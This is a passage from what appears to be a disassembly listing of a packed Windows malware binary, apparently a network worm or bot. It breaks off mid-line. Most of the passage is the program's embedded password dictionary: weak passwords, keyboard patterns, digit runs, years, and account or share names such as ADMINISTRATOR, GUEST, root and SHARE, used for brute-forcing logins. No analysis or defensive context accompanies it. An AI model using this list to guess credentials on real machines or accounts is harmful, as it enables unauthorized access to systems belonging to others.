aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" ; --------------------------------------------------------------------------- sal bh, 1 inc edx add ah, al test dword ptr [edx+0], offset aWindows98 ; "windows98" lodsb test dword ptr [edx+0], offset aWindozexp ; "windozexp" xchg eax, esp loc_42DD9D: ; CODE XREF: .nsp0:0042DDA4j test dword ptr [edx+0], offset aWindozeme ; "windozeME" jl short loc_42DD9D inc edx add [eax-9], dh inc edx add [eax-9], ch inc edx add [edi+esi*8+42h], ah add [edi+esi*8+42h], bl add [eax-9], bl inc edx add [eax-9], dl inc edx add [eax-9], cl inc edx add [edi+esi*8], bh inc edx add [eax], dh test dword ptr [edx+0], offset aAda ; "ada" and bh, dh inc edx add [edi+esi*8], bl inc edx add [eax], bl test dword ptr [edx+0], offset aAmorphous ; "amorphous" or bh, dh inc edx add ah, bh test byte ptr [edx+0], 0F8h test byte ptr [edx+0], 0E8h test byte ptr [edx+0], 0E4h test byte ptr [edx+0], 0E0h test byte ptr [edx+0], 0D4h test byte ptr [edx+0], 0C8h test byte ptr [edx+0], 0BCh test byte ptr [edx+0], 0B8h test byte ptr [edx+0], 0B4h test byte ptr [edx+0], 0B0h test byte ptr [edx+0], 0A4h test byte ptr [edx+0], 0A0h test byte ptr [edx+0], 94h test byte ptr [edx+0], 88h test byte ptr [edx+0], 7Ch test byte ptr [edx+0], 70h test byte ptr [edx+0], 64h test byte ptr [edx+0], 58h test byte ptr [edx+0], 54h test byte ptr [edx+0], 48h test byte ptr [edx+0], 3Ch test byte ptr [edx+0], 38h test byte ptr [edx+0], 34h test byte ptr [edx+0], 28h test byte ptr [edx+0], 1Ch test byte ptr [edx+0], 10h test byte ptr [edx+0], 4 test byte ptr [edx+0], 0F8h cmc inc edx add ah, ch cmc inc edx add al, ah cmc inc edx add ah, dl cmc inc edx add al, dl cmc inc edx add ah, cl cmc inc edx add al, cl cmc inc edx add [ebp+esi*8-0A47FFBEh], bh inc edx add [ebp+esi*8-0A5FFFBEh], ch inc edx add [ebp+esi*8-0A67FFBEh], bl inc edx add [esp+eax*4], bh inc edx add [ebp+esi*8-0A77FFBEh], dl inc edx add [ebp+esi*8-0A7FFFBEh], al inc edx add [ebp+esi*8+42h], dh add [eax-0Bh], dh inc edx add [ebp+esi*8+42h], ch add [eax-0Bh], ch inc edx add [ebp+esi*8+42h], ah add [eax-0Bh], bl inc edx add [eax-0Bh], cl inc edx add [ebp+esi*8+42h], al add [eax-0Bh], al inc edx add ds:0F5280042h[esi*8], dh inc edx add ds:0F5100042h[esi*8], bl inc edx add ds:0F4F80042h[esi*8], al inc edx add ah, dh ; --------------------------------------------------------------------------- db 0F4h, 42h, 0 dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_42F3E8 dd offset dword_42F3E4 dd offset dword_42F3E0 dd offset dword_42F3DC dd offset dword_42F3D4 dd offset dword_42F3CC dd offset dword_42F3C4 dd offset dword_42F3B8 dd offset loc_4263DB+1 dd offset dword_42F3B4 dd offset off_42F3B0 dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_42F3A4 ; "+" dd offset asc_42F3A0 ; "++" dd offset asc_42F39C ; "+++" dd offset asc_42F394 ; "++++" dd offset asc_42F390 ; "-" dd offset asc_42F38C ; "--" dd offset asc_42F38C ; "--" dd offset asc_42F384 ; "----" dd offset asc_42F380 ; "-+" dd offset asc_42F378 ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_42F360 ; "$" dd offset asc_42F35C ; "$$" dd offset asc_42F358 ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_4263F0 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_426CB0 ; "*" dd offset asc_42F308 ; "**" dd offset asc_42F304 ; "***" dd offset asc_42F2FC ; "****" dd offset asc_42F2F4 ; "*****" dd offset asc_42F2EC ; "******" dd offset asc_42F2E4 ; "*******" dd offset asc_42F2D8 ; "********" dd offset asc_42F2CC ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_1 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_0 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aChi_0 ; "CHI" dd offset aChi ; "chi" dd offset aKor_0 ; "kor" dd offset aTiger ; "tiger" dd offset aKor ; "KOR" dd offset aToyota_0 ; "TOYOTA" dd offset aToyota ; "toyota" dd offset asc_432C64 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" ; --------------------------------------------------------------------------- adc ah, ch inc edx add [esp+ebp*8], al inc edx add al, bh jmp short loc_42E4B9 ; --------------------------------------------------------------------------- align 4 dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB_0 ; "b" dd offset aBb ; "bb" ; --------------------------------------------------------------------------- fsub st(3), st inc edx add ah, dl jmp short loc_42E4D9 ; --------------------------------------------------------------------------- align 4 dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" ; --------------------------------------------------------------------------- mov esp, 0B00042EBh jmp short loc_42E4E9 ; --------------------------------------------------------------------------- align 4 movsb jmp short loc_42E4ED ; --------------------------------------------------------------------------- align 4 mov al, ds:9C0042EBh jmp short loc_42E4F5 ; --------------------------------------------------------------------------- align 4 cwde jmp short loc_42E4F9 ; --------------------------------------------------------------------------- align 4 db 90h ; --------------------------------------------------------------------------- loc_42E4B9: ; CODE XREF: .nsp0:0042E475j jmp short loc_42E4FD ; --------------------------------------------------------------------------- align 4 mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E509 ; --------------------------------------------------------------------------- align 4 dd offset aCccccccc ; "cccccccc" ; --------------------------------------------------------------------------- pusha jmp short loc_42E511 ; --------------------------------------------------------------------------- align 10h pop esp jmp short loc_42E515 ; --------------------------------------------------------------------------- align 4 dd offset aDd_2 ; "dd" ; --------------------------------------------------------------------------- push esp loc_42E4D9: ; CODE XREF: .nsp0:0042E495j jmp short loc_42E51D ; --------------------------------------------------------------------------- align 4 dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" ; --------------------------------------------------------------------------- inc eax jmp short near ptr loc_42E528+1 ; --------------------------------------------------------------------------- align 4 db 3Ch ; --------------------------------------------------------------------------- loc_42E4E9: ; CODE XREF: .nsp0:0042E4A5j jmp short loc_42E52D ; --------------------------------------------------------------------------- align 4 db 38h ; --------------------------------------------------------------------------- loc_42E4ED: ; CODE XREF: .nsp0:0042E4A9j jmp short near ptr loc_42E52D+4 ; --------------------------------------------------------------------------- align 10h xor bl, ch inc edx add [eax], ch loc_42E4F5: ; CODE XREF: .nsp0:0042E4B1j jmp short loc_42E539 ; --------------------------------------------------------------------------- align 4 db 24h ; --------------------------------------------------------------------------- loc_42E4F9: ; CODE XREF: .nsp0:0042E4B5j jmp short near ptr loc_42E539+4 ; --------------------------------------------------------------------------- align 4 db 20h ; --------------------------------------------------------------------------- loc_42E4FD: ; CODE XREF: .nsp0:loc_42E4B9j jmp short loc_42E541 ; --------------------------------------------------------------------------- align 10h dd offset aEee ; "eee" dd offset aEeee ; "eeee" db 0Ch ; --------------------------------------------------------------------------- loc_42E509: ; CODE XREF: .nsp0:0042E4C5j jmp short loc_42E54D ; --------------------------------------------------------------------------- align 4 dd offset aEeeeee ; "eeeeee" db 0 ; --------------------------------------------------------------------------- loc_42E511: ; CODE XREF: .nsp0:0042E4CDj jmp short loc_42E555 ; --------------------------------------------------------------------------- align 4 cld loc_42E515: ; CODE XREF: .nsp0:0042E4D1j jmp far ptr 42h:0EAF80042h ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- loc_42E51D: ; CODE XREF: .nsp0:loc_42E4D9j jmp far ptr 42h:0EAE80042h ; --------------------------------------------------------------------------- dd offset aGggggg ; "gggggg" ; --------------------------------------------------------------------------- loc_42E528: ; CODE XREF: .nsp0:0042E4E5j fsub st(2), st inc edx add al, bl loc_42E52D: ; CODE XREF: .nsp0:loc_42E4E9j ; .nsp0:loc_42E4EDj jmp far ptr 42h:0EAD40042h ; --------------------------------------------------------------------------- dd offset aHhhh ; "hhhh" db 0C4h ; --------------------------------------------------------------------------- loc_42E539: ; CODE XREF: .nsp0:loc_42E4F5j ; .nsp0:loc_42E4F9j jmp far ptr 42h:0EABC0042h ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_42E541: ; CODE XREF: .nsp0:loc_42E4FDj jmp far ptr 42h:0EAB40042h ; --------------------------------------------------------------------------- dd offset aIii ; "iii" db 0A8h ; --------------------------------------------------------------------------- loc_42E54D: ; CODE XREF: .nsp0:loc_42E509j jmp far ptr 42h:0EAA00042h ; --------------------------------------------------------------------------- db 98h ; ˜ ; --------------------------------------------------------------------------- loc_42E555: ; CODE XREF: .nsp0:loc_42E511j jmp far ptr 42h:0EA940042h ; --------------------------------------------------------------------------- dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_42EA4C ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_4 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset byte_438FBC dd 0 dword_42E7A4 dd 10h ; sub_40CE55+B60r ... a142536 db '142536',0 ; DATA XREF: .nsp0:0042E724o align 10h a753951 db '753951',0 ; DATA XREF: .nsp0:0042E720o align 4 a951753 db '951753',0 ; DATA XREF: .nsp0:0042E71Co align 10h a159357 db '159357',0 ; DATA XREF: .nsp0:0042E718o align 4 a753159 db '753159',0 ; DATA XREF: .nsp0:0042E714o align 10h a13579 db '13579',0 ; DATA XREF: .nsp0:0042E710o align 4 a2684 db '2684',0 ; DATA XREF: .nsp0:0042E70Co align 10h a2486 db '2486',0 ; DATA XREF: .nsp0:0042E708o align 4 aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042E704o align 10h aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042E700o a112233 db '112233',0 ; DATA XREF: .nsp0:0042E6FCo align 4 a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042E6F8o align 4 a3edc db '3edc',0 ; DATA XREF: .nsp0:0042E6F4o align 4 a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042E6F0o align 4 a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042E6ECo align 4 a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042E6E8o align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042E6E4o align 4 aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042E6E0o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042E6DCo align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042E6D8o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042E6D4o align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042E6D0o align 10h aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042E6CCo align 4 aAass db 'aass',0 ; DATA XREF: .nsp0:0042E6C8o align 10h aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042E6C4o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042E6C0o align 10h aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042E6BCo align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042E6B8o align 10h aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042E6B4o align 4 aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042E6B0o aZz db 'zz',0 ; DATA XREF: .nsp0:0042E6ACo align 10h aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042E6A4o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042E6A0o align 10h aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042E69Co align 4 aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042E698o aQq db 'qq',0 ; DATA XREF: .nsp0:0042E694o align 10h aQ: ; DATA XREF: .nsp0:0042E690o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042E68Co align 4 aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042E688o align 4 aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042E684o align 4 aWww db 'www',0 ; DATA XREF: .nsp0:0042E680o aWw db 'ww',0 ; DATA XREF: .nsp0:0042E67Co align 4 aW: ; DATA XREF: .nsp0:0042E678o unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042E674o align 10h aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042E670o align 4 aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042E66Co align 10h aVvv db 'vvv',0 ; DATA XREF: sub_40CE55+267Co ; .nsp0:0042E668o aVv db 'vv',0 ; DATA XREF: .nsp0:0042E664o align 4 aV: ; DATA XREF: .nsp0:0042E660o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042E65Co align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042E658o align 4 aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042E654o align 4 aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042E650o aYy db 'yy',0 ; DATA XREF: .nsp0:0042E64Co align 4 aY: ; DATA XREF: .nsp0:0042E648o unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042E644o align 4 aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042E640o align 10h aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042E63Co align 4 aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042E638o aTt db 'tt',0 ; DATA XREF: .nsp0:0042E634o align 10h aT: ; DATA XREF: .nsp0:0042E630o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042E62Co align 4 aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042E628o align 4 aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042E624o align 4 aSss db 'sss',0 ; DATA XREF: .nsp0:0042E620o aSs db 'ss',0 ; DATA XREF: .nsp0:0042E61Co align 4 aS_4: ; DATA XREF: .nsp0:0042E618o unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042E614o align 10h aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042E610o align 4 aUuuu db 'uuuu',0 ; DATA XREF: 